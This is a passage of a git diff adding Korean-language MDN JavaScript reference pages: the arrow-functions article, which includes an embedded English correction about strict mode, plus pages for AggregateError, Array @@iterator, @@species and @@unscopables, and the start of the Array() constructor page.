+(<em>param1</em> <strong>= defaultValue1</strong>, <em>param2</em>, …, paramN <strong>= defaultValueN</strong>) =&gt; { <em>statements</em> }
+
+// 매개변수 목록 내 <a href="/ko/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment" title="Destructuring">구조분해할당</a>도 지원됨
+var f = ([a, b] = [1, 2], {x: c} = {x: a + b}) =&gt; a + b + c;
+f(); // 6
+</pre>
+
+<p>상세한 구문 예는 <a href="http://wiki.ecmascript.org/doku.php?id=harmony:arrow_function_syntax">여기</a>에서 볼 수 있습니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><a href="https://hacks.mozilla.org/2015/06/es6-in-depth-arrow-functions/">Hacks 블로그 "ES6 In Depth: Arrow functions" 포스트</a> 참조.</p>
+
+<p>화살표 함수 도입에 영향을 준 두 요소: 보다 짧아진 함수 및  <code>바인딩하지 않은 this.</code></p>
+
+<h3 id="짧은_함수">짧은 함수</h3>
+
+<p>일부 함수 패턴에서는, 짧은 함수가 환영받습니다. 비교해 보세요:</p>
+
+<pre class="notranslate">var elements = [
+ 'Hydrogen',
+ 'Helium',
+ 'Lithium',
+ 'Beryllium'
+];
+
+// 이 문장은 배열을 반환함: [8, 6, 7, 9]
+elements.<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a>(function(element) {
+ return element.length;
+});
+
+// 위의 일반적인 함수 표현은 아래 화살표 함수로 쓸 수 있다.
+elements.map((element) =&gt; {
+  return element.length;
+}); // [8, 6, 7, 9]
+
+// 파라미터가 하나만 있을 때는 주변 괄호를 생략할 수 있다.
+elements.<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a>(element =&gt; {
+ return element.length;
+}); // [8, 6, 7, 9]
+
+// 화살표 함수의 유일한 문장이 'return'일 때 'return'과
+// 중괄호({})를 생략할 수 있다.
+elements.map(element =&gt; element.length); // [8, 6, 7, 9]
+
+// 이 경우 length 속성만 필요하므로 destructuring 매개변수를 사용할 수 있다.
+// 'length'는 우리가 얻고자 하는 속성에 해당하는 반면,
+// lengthFooBArX'는 변경 가능한 변수의 이름일 뿐이므로
+// 원하는 유효한 변수명으로 변경할 수 있다.
+elements.<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a>(({ length: lengthFooBArX }) =&gt; lengthFooBArX); // [8, 6, 7, 9]
+
+// destructuring 파라미터 할당도 아래와 같이 작성할 수 있습니다.
+// 이 예에서 정의한 객체내의 'length'에 값을 지정하지 않은 점에 주목하세요. 대신, "length" 변수의
+// 리터럴 이름은 우리가 해당 객체에서 꺼내오고 싶은 속성이름 자체로 사용됩니다.
+elements.<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a>(({ length }) =&gt; length); // [8, 6, 7, 9] </pre>
+
+<h3 id="바인딩_되지_않은_this">바인딩 되지 않은 <code>this</code></h3>
+
+<p>화살표 함수가 나오기 전까지는, 모든 새로운 함수는, 어떻게 그 함수가 호출되는지에 따라  자신의 <code><a href="/ko/docs/Web/JavaScript/Reference/Operators/this">this</a></code> 값을 정의했습니다:</p>
+
+<ul>
+ <li>이 함수가 생성자인 경우는 새로운 객체</li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Strict_mode" title="strict mode">엄격 모드</a> 함수 호출에서는 <code>undefined</code> </li>
+ <li>함수가 "객체 메서드"로서 호출된 경우 문맥 객체</li>
+ <li>등등</li>
+</ul>
+
+<p>이는 객체 지향 스타일로 프로그래밍할 때 별로 좋지않습니다.</p>
+
+<pre class="brush: js notranslate">function Person() {
+ // Person() 생성자는 `this`를 자신의 인스턴스로 정의.
+ this.age = 0;
+
+ setInterval(function growUp() {
+ // 비엄격 모드에서, growUp() 함수는 `this`를
+ // 전역 객체로 정의하고, 이는 Person() 생성자에
+ // 정의된 `this`와 다름.
+ this.age++;
+ }, 1000);
+}
+
+var p = new Person();</pre>
+
+<p>ECMAScript 3/5 에서는, 이 문제를 <code>this</code> 값을 폐쇄될 수 있는 (비전역) 변수에 할당하여 해결했습니다.</p>
+
+<pre class="brush: js notranslate">function Person() {
+ var that = this;
+ that.age = 0;
+
+ setInterval(function growUp() {
+ // 콜백은 `that` 변수를 참조하고 이것은 값이 기대한 객체이다.
+ that.age++;
+ }, 1000);
+}</pre>
+
+<p>이렇게 하는 대신에, <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Function/bind" title="bound function">바인딩한 함수</a>는 적절한 <code>this</code> 값이 <code>growUp()</code> 함수에 전달될 수 있도록 생성될 수 있습니다.</p>
+
+<p>화살표 함수는 자신의 <code>this</code>가 없습니다.  대신 화살표 함수를 둘러싸는 렉시컬 범위(lexical scope)의 <code>this</code>가 사용됩니다; 화살표 함수는 일반 변수 조회 규칙(normal variable lookup rules)을 따릅니다. 때문에 현재 범위에서 존재하지 않는 <code>this</code>를 찾을 때, 화살표 함수는 바로 바깥 범위에서 <code>this</code>를 찾는것으로 검색을 끝내게 됩니다.</p>
+
+<p>따라서 다음 코드에서 <code>setInterval</code>에 전달 된 함수 내부의 <code>this</code>는 <code>setInterval</code>을 포함한 function의 <code>this</code>와 동일한 값을 갖습니다.</p>
+
+<pre class="brush: js notranslate">function Person(){
+ this.age = 0;
+
+ setInterval(() =&gt; {
+ this.age++; // |this|는 Person 객체를 참조
+ }, 1000);
+}
+
+var p = new Person();</pre>
+
+<h4 id="엄격_모드와의_관계">엄격 모드와의 관계</h4>
+
+<p><code>this</code>가 렉시컬(lexical, 정적)임을 감안하면, <code>this</code>에 관한 <a href="/ko/docs/Web/JavaScript/Reference/Strict_mode" title="strict mode">엄격 모드</a> 규칙은 그냥 무시됩니다.</p>
+
+<pre class="notranslate">var f = () =&gt; { 'use strict'; return this; };
+f() === window; // 혹은 전역객체</pre>
+
+<p>엄격 모드의 나머지 규칙은 평소대로 적용합니다.</p>
+
+<p><strong>CORRECTION: START</strong></p>
+
+<p>NOTE: the previous statement seems false.</p>
+
+<p>Strict mode should prevent creating global variables when assigning to an undeclared identifier in a function.</p>
+
+<p>This code sample using Chrome 81 demonstrates that arrow functions allow the creation of global variables in such situations (both for a concise body and for a normal function body):</p>
+
+<pre class="notranslate">&gt; f1 = x =&gt; { y = x; console.log(`x: ${x}, y: ${y}`); return x + 1; }
+x =&gt; { y = x; console.log(`x: ${x}, y: ${y}`); return x + 1; }
+
+&gt; y
+VM51587:1 Uncaught ReferenceError: y is not defined
+    at &lt;anonymous&gt;:1:1
+(anonymous) @ VM51587:1
+
+&gt; f1(3)
+VM51533:1 x: 3, y: 3
+4
+
+&gt; y
+3
+
+&gt; f2 = x =&gt; { 'use strict'; z = x; console.log(`x: ${x}, z: ${z}`); return x + 1; }
+x =&gt; { 'use strict'; z = x; console.log(`x: ${x}, z: ${z}`); return x + 1; }
+
+&gt; z
+VM51757:1 Uncaught ReferenceError: z is not defined
+    at &lt;anonymous&gt;:1:1
+(anonymous) @ VM51757:1
+
+&gt; f2(4)
+VM51712:1 Uncaught ReferenceError: z is not defined
+    at f2 (&lt;anonymous&gt;:1:29)
+    at &lt;anonymous&gt;:1:1
+f2 @ VM51712:1
+(anonymous) @ VM51800:1
+
+&gt; f3 = x =&gt; (z1 = x + 1)
+x =&gt; (z1 = x + 1)
+
+&gt; z1
+VM51891:1 Uncaught ReferenceError: z1 is not defined
+    at &lt;anonymous&gt;:1:1
+(anonymous) @ VM51891:1
+
+&gt; f3(10)
+11
+
+&gt; z1
+11
+</pre>
+
+<p>f2 illustrates that when explicitly setting the arrow function to apply strict mode, it does throw an error when attempting to assign an undeclared variable.</p>
+
+<p>https://www.ecma-international.org/ecma-262/10.0/index.html#sec-strict-mode-code</p>
+
+<p>https://www.ecma-international.org/ecma-262/10.0/index.html#sec-arrow-function-definitions-runtime-semantics-evaluation</p>
+
+<p><strong>CORRECTION: END</strong></p>
+
+<h4 id="call_또는_apply를_통한_피호출">call 또는 apply를 통한 피호출</h4>
+
+<p>화살표 함수에서는 <code>this가 </code> 바인딩되지 않았기 때문에, <code>call()</code> 또는 <code>apply()</code> 메서드는  인자만 전달 할 수 있습니다. this는 무시됩니다.</p>
+
+<pre class="brush: js notranslate">var adder = {
+ base : 1,
+
+ add : function(a) {
+ var f = v =&gt; v + this.base;
+ return f(a);
+ },
+
+ addThruCall: function(a) {
+ var f = v =&gt; v + this.base;
+ var b = {
+ base : 2
+ };
+
+ return f.call(b, a);
+ }
+};
+
+console.log(adder.add(1)); // 이는 2가 콘솔에 출력될 것임
+console.log(adder.addThruCall(1)); // 이도 2가 콘솔에 출력될 것임</pre>
+
+<h3 id="바인딩_되지_않은_arguments">바인딩 되지 않은 <code>arguments</code></h3>
+
+<p>화살표 함수는 <a href="/ko/docs/Web/JavaScript/Reference/Functions/arguments"><code>arguments</code> 객체</a>를 바인드 하지 않습니다.  때문에, <code>arguments는</code>  그저 둘러싸는 범위(scope) 내 이름에 대한 참조입니다.</p>
+
+<pre class="brush: js notranslate"><code>var arguments = [1, 2, 3];
+var arr = () =&gt; arguments[0];
+
+arr(); // 1
+
+function foo(n) {
+ var f = () =&gt; arguments[0] + n; // foo's implicit arguments binding. arguments[0] is n
+ return f();
+}
+
+foo(1); // 2</code></pre>
+
+<p>화살표 함수는 자신의 <code>arguments</code> 객체가 없지만, 대부분의 경우에 <a href="/ko/docs/Web/JavaScript/Reference/Functions/rest_parameters" title="rest parameters">나머지 매개변수</a>가 좋은 대안입니다:</p>
+
+<pre class="brush: js notranslate">function foo(n) {
+ var f = (...args) =&gt; args[0] + n;
+ return f(2);
+}
+
+foo(1); // 3</pre>
+
+<h3 id="메소드로_사용되는_화살표_함수">메소드로 사용되는 화살표 함수</h3>
+
+<p>이야기 했듯이, 화살표 함수 표현은 메소드 함수가 아닌 형태로 사용 할 수 있습니다. 메소드로 사용하려고 한면 무슨일이 발생하는지 봅시다.</p>
+
+<pre class="brush: js notranslate"><code>'use strict';
+
+var obj = { // does not create a new scope
+ i: 10,
+ b: () =&gt; console.log(this.i, this),
+ c: function() {
+ console.log( this.i, this)
+ }
+}
+obj.b(); // prints undefined, Window {...} (or the global object)
+obj.c(); // prints 10, Object {...}</code>
+</pre>
+
+<p>화살표 함수는 자신의 this를 가지고("bind" 바인드)있지 않습니다.{{jsxref("Object.defineProperty()")}}</p>
+
+<pre class="brush: js notranslate"><code>'use strict';
+
+var obj = {
+ a: 10
+};
+
+Object.defineProperty(obj, 'b', {
+ get: () =&gt; {
+ console.log(this.a, typeof this.a, this); // undefined 'undefined' Window {...} (or the global object)
+ return this.a + 10; // represents global object 'Window', therefore 'this.a' returns 'undefined'
+ }
+});</code></pre>
+
+<h3 id="new_연산자_사용"><code>new</code> 연산자 사용</h3>
+
+<p>화살표 함수는 생성자로서 사용될 수 없으며 <code>new</code>와 함께 사용하면 오류가 발생합니다.</p>
+
+<pre class="brush: js notranslate"><code>var Foo = () =&gt; {};
+var foo = new Foo(); // TypeError: Foo is not a constructor</code></pre>
+
+<h3 id="prototype_속성_사용"><code>prototype</code> 속성 사용</h3>
+
+<p>화살표 함수는 <code>prototype</code> 속성이 없습니다.</p>
+
+<pre class="brush: js notranslate"><code>var Foo = () =&gt; {};
+console.log(Foo.prototype); // undefined</code></pre>
+
+<h3 id="yield_키워드_사용"><code>yield</code> 키워드 사용</h3>
+
+<p><code><a href="/ko/docs/Web/JavaScript/Reference/Operators/yield">yield</a></code> 키워드는 화살표 함수의 본문(그 안에 더 중첩된 함수 내에서 허용한 경우를 제외하고)에 사용될 수 없습니다. 그 결과, 화살표 함수는 생성기(generator)로서 사용될 수 없습니다.</p>
+
+<h3 id="함수_본문">함수 본문</h3>
+
+<p>화살표 함수는 "concise 바디"든 보통 "block 바디"든 하나를 가질 수 있습니다.</p>
+
+<div class="note">
+<p>concise바디는 중괄호'{}'로 묶이지않은 한줄짜리 바디이고 block바디는 중괄호로 묶인 바디입니다. 보통 여러줄 쓸때 block바디를 사용합니다.</p>
+</div>
+
+<p>block바디는 자동으로 값을 반환하지 않습니다. <code>return</code>을 사용해서 값을 반환해야 합니다.</p>
+
+<pre class="brush: js notranslate">var func = x =&gt; x * x; // concise 바디, 생략된 "return" 여기서는 x * x
+var func = (x, y) =&gt; { return x + y; }; // block 바디, "return"이 필요
+</pre>
+
+<h3 id="객체_리터럴_반환">객체 리터럴 반환</h3>
+
+<p>간결한 구문 <code>params =&gt; {object:literal}</code>을 사용한 객체 리터럴 반환은 예상대로 작동하지 않음을 명심하세요:</p>
+
+<pre class="brush: js notranslate">var func = () =&gt; {  foo: 1  };
+// func() 호출은 undefined를 반환!
+
+var func = () =&gt; {  foo: function() {}  };
+// SyntaxError: function 문은 이름이 필요함</pre>
+
+<p>이는 중괄호({}) 안 코드가 일련의 문(즉 <code>foo</code>는 라벨처럼 취급됩니다, 객체 리터럴 내 키가 아니라)으로 파싱(parse, 구문 분석)되기 때문입니다.</p>
+
+<p>객체 리터럴를 괄호로 감싸는 것을 기억하세요:</p>
+
+<pre class="brush: js notranslate">var func = () =&gt; ({ foo: 1 });</pre>
+
+<h3 id="줄바꿈">줄바꿈</h3>
+
+<p>화살표 함수는 파라메터와 화살표 사이에 개행 문자를 포함 할 수 없습니다.</p>
+
+<pre class="brush: js notranslate"><code>var func = (a, b, c)
+ =&gt; 1;
+// SyntaxError: expected expression, got '=&gt;'</code></pre>
+
+<p>하지만, 보기 좋은 코드를 유지하고 싶다면, 아래에 보는 것처럼 괄호나 개행을 둠으로써 이를 수정할 수 있습니다.</p>
+
+<pre class="notranslate">var func = (a, b, c) =&gt;
+  1;
+
+var func = (a, b, c) =&gt; (
+  1
+);
+
+var func = (a, b, c) =&gt; {
+  return 1
+};
+
+<code>var func = (
+ a,
+ b,
+ c
+) =&gt; 1;
+
+// SyntaxError가 발생하지 않습니다.</code></pre>
+
+<h3 id="파싱순서">파싱순서</h3>
+
+<p>화살표 함수 내의 화살표는 연산자가 아닙니다. 그러나 화살표 함수는 평범한 함수와 비교했을 때 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">operator precedence</a>와 다르게 반응하는 특별한 파싱룰을 가지고 있습니다.</p>
+
+<pre class="brush: js notranslate"><code>let callback;
+
+callback = callback || function() {}; // ok
+
+callback = callback || () =&gt; {};
+// SyntaxError: invalid arrow-function arguments
+
+callback = callback || (() =&gt; {}); // ok</code>
+</pre>
+
+<h2 id="다른_예">다른 예</h2>
+
+<h3 id="기본_사용법">기본 사용법</h3>
+
+<pre class="brush: js notranslate"><code>// </code> empty 화살표 함수는 undefined를 반환 <code>
+let empty = () =&gt; {};
+
+(() =&gt; 'foobar')();
+// "foobar" 반환
+// (this is an Immediately Invoked Function Expression
+
+var simple = a =&gt; a &gt; 15 ? 15 : a;
+simple(16); // 15
+simple(10); // 10
+
+let max = (a, b) =&gt; a &gt; b ? a : b;
+
+// Easy array filtering, mapping, ...
+
+var arr = [5, 6, 13, 0, 1, 18, 23];
+
+var sum = arr.reduce((a, b) =&gt; a + b);
+// 66
+
+var even = arr.filter(v =&gt; v % 2 == 0);
+// [6, 0, 18]
+
+var double = arr.map(v =&gt; v * 2);
+// [10, 12, 26, 0, 2, 36, 46]
+
+// 더 간결한 promise 체인
+promise.then(a =&gt; {
+ // ...
+}).then(b =&gt; {
+ // ...
+});
+
+// 매개변수가 없는 경우에도 더 읽기 쉬움
+setTimeout( () =&gt; {
+ console.log('I happen sooner');
+ setTimeout( () =&gt; {
+ // deeper code
+ console.log('I happen later');
+ }, 1);
+}, 1);</code></pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-arrow-function-definitions', 'Arrow Function Definitions')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">
+<p><span style="">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out </span><a href="https://github.com/mdn/browser-compat-data" style="">https://github.com/mdn/browser-compat-data</a><span style=""> and send us a pull request.</span></p>
+</div>
+
+<p>{{Compat("javascript.functions.arrow_functions")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="https://hacks.mozilla.org/2015/06/es6-in-depth-arrow-functions/">Hacks 블로그 "ES6 In Depth: Arrow functions" 포스트</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/aggregateerror/index.html b/files/ko/web/javascript/reference/global_objects/aggregateerror/index.html
new file mode 100644
index 0000000000..b83db1139e
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/aggregateerror/index.html
@@ -0,0 +1,87 @@
+---
+title: AggregateError
+slug: Web/JavaScript/Reference/Global_Objects/AggregateError
+tags:
+ - AggregateError
+ - 실험적
+ - 인터페이스
+ - 자바스크립트
+ - 클래스
+translation_of: Web/JavaScript/Reference/Global_Objects/AggregateError
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>AggregateError</strong></code> 객체는 다수의 에러가 한 에러로 랩핑되어야 할 때의 오류를 나타냅니다. 한 작업에서 여러개의 오류가 보고될 때 발생하는데, 대표적으로 {{JSxRef("Promise.any()")}}에 전달된 모든 promise들이 거부되었을 때 발생합니다.</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{jsxref("Global_Objects/AggregateError/AggregateError", "AggregateError()")}}</dt>
+ <dd>새로운 <code>AggregateError</code> 객체를 생성합니다.</dd>
+</dl>
+
+<h2 id="Instance_properties">Instance properties</h2>
+
+<dl>
+ <dt>{{JSxRef("Error.prototype.message", "AggregateError.prototype.message")}}</dt>
+ <dd>에러 메시지, 기본값 <code>""</code>.</dd>
+ <dt>{{JSxRef("Error.prototype.name", "AggregateError.prototype.name")}}</dt>
+ <dd>에러 이름, 기본값 <code>AggregateError</code>.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="AggregateError_다루기">AggregateError 다루기</h3>
+
+<pre class="brush: js; notranslate">Promise.any([
+ Promise.reject(new Error("some error")),
+]).catch(e =&gt; {
+ console.log(e instanceof AggregateError); // true
+ console.log(e.message); // "All Promises rejected"
+ console.log(e.name); // "AggregateError"
+ console.log(e.errors); // [ Error: "some error" ]
+});
+</pre>
+
+<h3 id="AggregateError_발생시키기">AggregateError 발생시키기</h3>
+
+<pre class="brush: js; notranslate">try {
+ throw new AggregateError([
+ new Error("some error"),
+ ], 'Hello');
+} catch (e) {
+ console.log(e instanceof AggregateError); // true
+ console.log(e.message); // "Hello"
+ console.log(e.name); // "AggregateError"
+ console.log(e.errors); // [ Error: "some error" ]
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Promise.any', '#sec-aggregate-error-objects', 'AggregateError')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.AggregateError")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{JSxRef("Error")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/@@iterator/index.html b/files/ko/web/javascript/reference/global_objects/array/@@iterator/index.html
new file mode 100644
index 0000000000..89e08aa41e
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/@@iterator/index.html
@@ -0,0 +1,84 @@
+---
+title: 'Array.prototype[@@iterator]()'
+slug: Web/JavaScript/Reference/Global_Objects/Array/@@iterator
+tags:
+ - Array
+ - ECMAScript 2015
+ - Iterator
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/@@iterator
+---
+<div>{{JSRef}}</div>
+
+<p> <code><strong>@@iterator</strong></code> 속성의 초기 값은 {{jsxref("Array.prototype.values()", "values()")}} 속성의 초기 값과 같은 함수 객체입니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>arr[Symbol.iterator]()</code></pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{jsxref("Array.prototype.values()", "values()")}} 반복기가 반환하는 초기 값. <code>arr[Symbol.iterator]</code>의 기본값은 {{jsxref("Array.prototype.values()", "values()")}} 입니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="for…of_반복문을_이용한_순회"><code>for…of</code> 반복문을 이용한 순회</h3>
+
+<pre class="brush: js"><code>var arr = ['w', 'y', 'k', 'o', 'p'];
+var eArr = arr[Symbol.iterator]();
+// your browser must support for..of loop
+// and let-scoped variables in for loops
+// const and var could also be used
+for (let letter of eArr) {
+ console.log(letter);
+}</code></pre>
+
+<h3 id="다른_방법">다른 방법</h3>
+
+<pre class="brush: js"><code>var arr = ['w', 'y', 'k', 'o', 'p'];
+var eArr = arr[Symbol.iterator]();
+console.log(eArr.next().value); // w
+console.log(eArr.next().value); // y
+console.log(eArr.next().value); // k
+console.log(eArr.next().value); // o
+console.log(eArr.next().value); // p</code></pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-array.prototype-@@iterator', 'Array.prototype[@@iterator]()')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array.prototype-@@iterator', 'Array.prototype[@@iterator]()')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.Array.@@iterator")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.keys()")}}</li>
+ <li>{{jsxref("Array.prototype.entries()")}}</li>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+ <li>{{jsxref("Array.prototype.values()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/@@species/index.html b/files/ko/web/javascript/reference/global_objects/array/@@species/index.html
new file mode 100644
index 0000000000..7b1bda0ca6
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/@@species/index.html
@@ -0,0 +1,75 @@
+---
+title: 'get Array[@@species]'
+slug: Web/JavaScript/Reference/Global_Objects/Array/@@species
+tags:
+ - Array
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/@@species
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Array[@@species]</code> </strong>접근자 속성은 <code>Array</code> 생성자를 반환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Array[Symbol.species]
+</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{jsxref("Array")}} 생성자.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>species</code> 접근자 속성은 <code>Array</code> 객체의 기본 생성자를 반환합니다. 서브클래스 생성자는 생성자 할당을 변경하기 위해 이 속성을 재정의할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p><code>species</code> 속성은 <code>Array</code> 객체의 <code>Array</code> 생성자를 반환합니다.</p>
+
+<pre class="brush: js">Array[Symbol.species]; // function Array()</pre>
+
+<p>파생 콜렉션 개체(예시: 사용자 설정 배열인 <code>MyArray</code>)에서, <code>MyArray</code> 종<sup>species</sup>은 <code>MyArray</code> 생성자입니다. 그러나 이 속성을 재정의하면 파생 클래스 메서드에서 상위 <code>Array</code> 객체를 반환할 수 있습니다.</p>
+
+<pre class="brush: js">class MyArray extends Array {
+ // MyArray species를 부모 Array 생성자로 재설정
+ static get [Symbol.species]() { return Array; }
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-get-array-@@species', 'get Array [ @@species ]')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-get-array-@@species', 'get Array [ @@species ]')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Array.@@species")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Symbol.species")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/@@unscopables/index.html b/files/ko/web/javascript/reference/global_objects/array/@@unscopables/index.html
new file mode 100644
index 0000000000..1ac7f0b29b
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/@@unscopables/index.html
@@ -0,0 +1,72 @@
+---
+title: 'Array.prototype[@@unscopables]'
+slug: Web/JavaScript/Reference/Global_Objects/Array/@@unscopables
+tags:
+ - Array
+ - ECMAScript 2015
+ - JavaScript
+ - Property
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/@@unscopables
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>@@unscopable</code></strong> 기호 속성은 ES2015 이전 ECMAScript 표준에 포함되지 않은 속성 이름을 포함합니다. 해당 속성들은 {{jsxref("Statements/with", "with")}} 바인딩에서 제외됩니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>arr</var>[Symbol.unscopables]</pre>
+
+<h2 id="설명">설명</h2>
+
+<p>with 바인딩에서 제외되는 배열의 기본 속성은 copyWithin, entries, fill, find, findIndex, includes, keys, values입니다.</p>
+
+<p>자신의 객체에 대해 <code>unscopables</code>를 설정하는 방법은 {{jsxref("Symbol.unscopables")}}를 참고하세요.</p>
+
+<p>{{js_property_attributes (0,0,1)}}</p>
+
+<h2 id="예제">예제</h2>
+
+<p>아래 코드는 ES5 이하에서 잘 작동합니다. 그러나 ECMAScript 2015 이후 {{jsxref("Array.prototype.keys()")}} 메서드가 도입되었습니다. 이는 <code>with</code> 내부에서 "keys"가 변수가 아니라 메서드임을 의미합니다. 여기서 <code>Array.prototype[@@unscopables]</code>가 개입하여 일부 배열 메서드가 <code>with</code> 범위에 묶이는 일을 방지합니다.</p>
+
+<pre class="brush: js">var keys = [];
+
+with (Array.prototype) {
+ keys.push("something");
+}
+
+Object.keys(Array.prototype[Symbol.unscopables]);
+// ["copyWithin", "entries", "fill", "find", "findIndex",
+// "includes", "keys", "values"]</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-array.prototype-@@unscopables', 'Array.prototype[@@unscopables]')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array.prototype-@@unscopables', 'Array.prototype[@@unscopables]')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Array.@@unscopables")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Symbol.unscopables")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/array/index.html b/files/ko/web/javascript/reference/global_objects/array/array/index.html
new file mode 100644
index 0000000000..3f3d60a4ec
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/array/index.html
@@ -0,0 +1,86 @@
+---
+title: Array() 생성자
+slug: Web/JavaScript/Reference/Global_Objects/Array/Array
+tags:
+ - Array
+ - Constructor
+ - JavaScript
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/Array
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Array()</code></strong> 생성자는 새로운 {{jsxref("Array")}} 객체를 생성할 때 사용합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">[<var>element0</var>, <var>element1</var>, ..., <var>elementN</var>]
+
+new Array(<var>element0</var>, <var>element1</var>[, ...[, <var>elementN</var>]])
+new Array(<var>arrayLength</var>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>element<em>N</em></code></dt>
+ <dd>JavaScript 배열을 초기화할 때 채워넣을 요소. 단, 항목이 하나 뿐이며 그 항목의 자료형이 숫자일 경우 아래의 <code>arrayLength</code> 매개변수로 간주합니다.</dd>
+ <dt><code>arrayLength</code></dt>
